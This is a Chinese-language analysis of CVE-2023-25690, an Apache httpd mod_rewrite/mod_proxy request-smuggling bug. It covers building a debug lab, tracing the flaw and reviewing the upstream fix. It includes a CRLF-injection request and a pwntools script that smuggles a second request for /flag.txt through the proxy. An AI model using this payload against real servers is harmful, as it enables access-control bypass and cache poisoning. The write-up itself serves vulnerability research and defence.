[toc]

Apache HTTP Server 请求走私漏洞 CVE-2023-25690

漏洞描述

Apache HTTP Server 版本 2.4.0 到 2.4.55 上的某些 mod_proxy 配置允许 HTTP 请求走私攻击。

启用 mod_proxy 以及特定配置的 RewriteRule 或 ProxyPassMatch 模块时,当规则与用户提供的URL的某些部分匹配时,会因为变量替换从而造成代理请求目标错误

例如以下配置

1
2
3
4
5
RewriteEngine on

RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]

ProxyPassReverse /here/ http://example.com:8080/

此漏洞会造成请求拆分和走私,引起权限绕过,缓存投毒等攻击

影响版本

2.4.0 <= Apache HTTP Server <= 2.4.55

环境搭建

操作系统使用 Ubuntu 20.04

安装依赖

安装依赖,包括我们编译软件所需要的build-essential,以及调试C程序所需要的gdb,以及Apache所依赖的几个第三方库:

1
2
sudo apt-get install build-essential gdb
sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev

下载源码

去apache官网下载2.4.55版本源码,Index of /dist/httpd (apache.org)

还要下载apr-1.7.2和apr-util-1.6.3的源码, Index of /apr (apache.org)

解压

1
2
3
tar -xvzf httpd-2.4.55.tar.gz
tar -xvzf apr-1.7.2.tar.gz
tar -xvzf apr-util-1.6.3.tar.gz

编译安装

编译安装apr,要开启调试,我们在编译时需要制定环境变量CFLAGS=”-g”

1
2
3
4
CLFAGS="-g" ./configure --prefix=/root/workspace/apache-bin/apr
make
make install

编译安装apr-util,指定apr路径

1
2
3
4
CLFAGS="-g" ./configure --prefix=/root/workspace/apache-bin/apr-util --with-apr=/root/workspace/apache-bin/apr
make
make install

编译安装httpd,指定apr路径和apr-util路径

1
2
3
4
CFLAGS="-g" ./configure --prefix=/root/workspace/apache-bin/httpd --with-apr=/root/workspace/apache-bin/apr --with-apr-util=/root/workspace/apache-bin/apr-util
make
make install

远程调试配置

进入/root/workspace/apache-bin/httpd目录,安装vscode的cpp扩展

然后添加launch.json配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"version": "0.2.0",
"configurations": [
{
"name": "httpd-2.4.55",
"type": "cppdbg",
"request": "launch",
"program": "/root/workspace/apache-bin/httpd/bin/httpd",
"args": ["-X", "-DFOREGROUND"],
"stopAtEntry": false,
"cwd": "/root/workspace/apache-bin/httpd",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}

其中,program是我们需要调试的二进制文件,我这里就是bin/httpd

args是运行时传递的参数,我传了两个参数,-DFOREGROUND的作用是让Apache运行在前台。-X的作用是只启动一个进程,Apache本身是一个多进程的Web服务器,调试的时候会产生干扰,所以指定-X非常重要。

cwd是指定运行时的目录

漏洞分析

httpd.conf配置

进入/home/oyzy/workspace/apache-bin/httpd

修改conf/httpd.conf,开启添加以下模块

1
2
3
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule rewrite_module modules/mod_rewrite.so

在8000端口开启一个反代服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<VirtualHost *:8000>
ServerAdmin webmaster@localhost
ServerName localhost:8000
DocumentRoot /root/workspace/apache-bin/httpd/htdocs

LogLevel alert rewrite:trace3 proxy:trace8

ErrorLog /root/workspace/apache-bin/httpd/logs/error.log
CustomLog /root/workspace/apache-bin/httpd/logs/access.log combined

RewriteEngine on
RewriteRule "^/hello/(.*)" "http://10.122.255.252/index.php?name=$1" [P]

</VirtualHost>

设置日志等级,记录mod_rewrite和mod_proxy日志 LogLevel alert rewrite:trace3 proxy:trace8,可以在error.log中查看

RewriteRule可以参考mod_rewrite模块的文档

https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html

末尾的 [P] 会将请求发送给mod_proxy模块,让apache生成一个request去请求目标后端服务器,也就是这里的10.122.255.252

而漏洞就发生在mod_rewrite.c的hook_uri2file函数中,当我们的uri匹配到正则时,就会进行RewriteRule规则替换,然后准备一个新的请求交给mod_proxy

正常功能

我们可以打断点在modules/mappers/mod_rewrite.c的4693行,然后发送如下请求包

1
2
3
GET /hello/abc HTTP/1.1
Host: 10.7.1.16:8000

这里正在解析我们的请求,取出thisserver,port,thisurl

image-20230316004216090

继续来到4717行,这里是应用rewrite规则的地方,此时左边的r->filename的值和r->uri保持一致

image-20230316001929306

当经过apply_rewrite_list函数后,r->filename会变成"proxy:http://10.122.255.252/index.php",这里的写法可以参考mod_proxy模块,在上一篇的文章也有提到,然后我们的请求参数r->args也会被替换成"name=abc",也就是配置文件中写的get传参

image-20230316002215309

之后会判断r->filename是不是以proxy:开头

image-20230316002728722

再设置r->handler为"proxy-server",之后就会交给mod_proxy处理

image-20230316002552129

最后收到的响应如下

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Date: Wed, 15 Mar 2023 16:29:39 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/8.0.2
Content-Type: text/html; charset=UTF-8
Content-Length: 9

Hello abc

漏洞点

以上整个流程中,我们的可控点只有r->args,那么可以考虑从这里入手,如果我们访问的uri中带有控制字符,就有可能控制发送给mod_proxy的请求体,从而造成请求走私,类似于CRLF注入

尝试发送如下请求,uri中携带控制字符

1
2
3
GET /hello/abc%20qqq%0d%0aABC:%20ccc HTTP/1.1
Host: 10.7.1.16:8000

经过apply_rewrite_list函数后,我们的r->args被设置成了name=$1的形式,而$1也就是r->uri中匹配"^/hello/(.*)"的部分,值得注意的是,这里的r->uri是经过了url解码的,我们的控制字符都被解析了,这里就让我们有机会进行CRLF注入

image-20230316003822878

我们可以nc来接受以下最终发给后端服务器的请求包

image-20230316005140074

这里的r->args,也就是阴影部分,会被直接拼接到请求报文中发给后端服务器,造成了请求走私

利用方式(无回显走私)

最终可控的部分在整个请求头的中间,我们可以在pre.txt中准备一个要走私的请求

image-20230316005558441

写个脚本处理一下合成我们最终的请求,并用socket发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import urllib

from pwn import *

def request_prepare():
hexdata = open("pre.txt", "rb").read()
# print(hexdata)
hexdata = hexdata.replace(b' ', b'%20')
hexdata = hexdata.replace(b'\r\n', b'%0d%0a')
# print(hexdata)
uri = b'/hello/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + hexdata + b'GET%20/flag.txt'
req = b'''GET %b HTTP/1.1\r
Host: 10.7.1.16:8000\r
\r
''' % uri
return req


def send_and_recive(req):
rec = b''
ip = '10.7.1.16'
port = 8000
p = remote(ip, int(port))
p.send(req)
rec += p.recv()
print(rec.decode())
p.close()
return rec.decode()


req = request_prepare()
print(req)
# print(urllib.parse.unquote(req.decode()))
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()

记录请求包和响应包

image-20230316010203094

image-20230316010222552

在实际利用过程中,会发现这里的走私,没有产生响应队列中毒的效果,收到的请求始终是我们请求包中的第一个请求的响应

可以用wireshark来分析一下具体的过程,这一次请求一共有四个http包

image-20230316011034722

  1. 客户端发送给代理服务器Apache的请求
  2. Apache向后端服务器发起请求(这里包含三个)
  3. 后端服务器给Apache的响应包(同样是三个)
  4. Apache给客户端的响应(只有第一个响应)

追踪TCP流

image-20230316011114621

我们的三个请求都被后端服务器处理,并且得到了三个响应,但最终只有第一个响应发送给了客户端,成功走私,但是无法看到回显

这种现象和后端服务器有关,以上使用的是Apache 2.4.39

同样测试了nginx和tomcat,虽然服务端都处理了三个请求,但最后发给客户端的都只有第一个

nginx 1.15.11

image-20230316011659335

tomcat 7.0.79

image-20230316011923244

本人最终只能达到无回显走私的效果,如果有师傅研究过这个问题可以和我探讨

修复分析

参考github上的修复

don’t forward invalid query strings · apache/httpd@d78a166 (github.com)

image-20230316012321858

在mod_rewrite中对r->args进行判断,如果是控制字符则会报错

同时在mod_proxy的几个模块中也进行一模一样的判断

image-20230316012520480

在请求发给mod_proxy后又对r->args进行了判断,无法进行CRLF注入

Reference

https://httpd.apache.org/security/vulnerabilities_24.html

https://github.com/apache/httpd/commit/d78a166fedd9d02c23e4b71d5f53bd9b2c4b9a51

https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html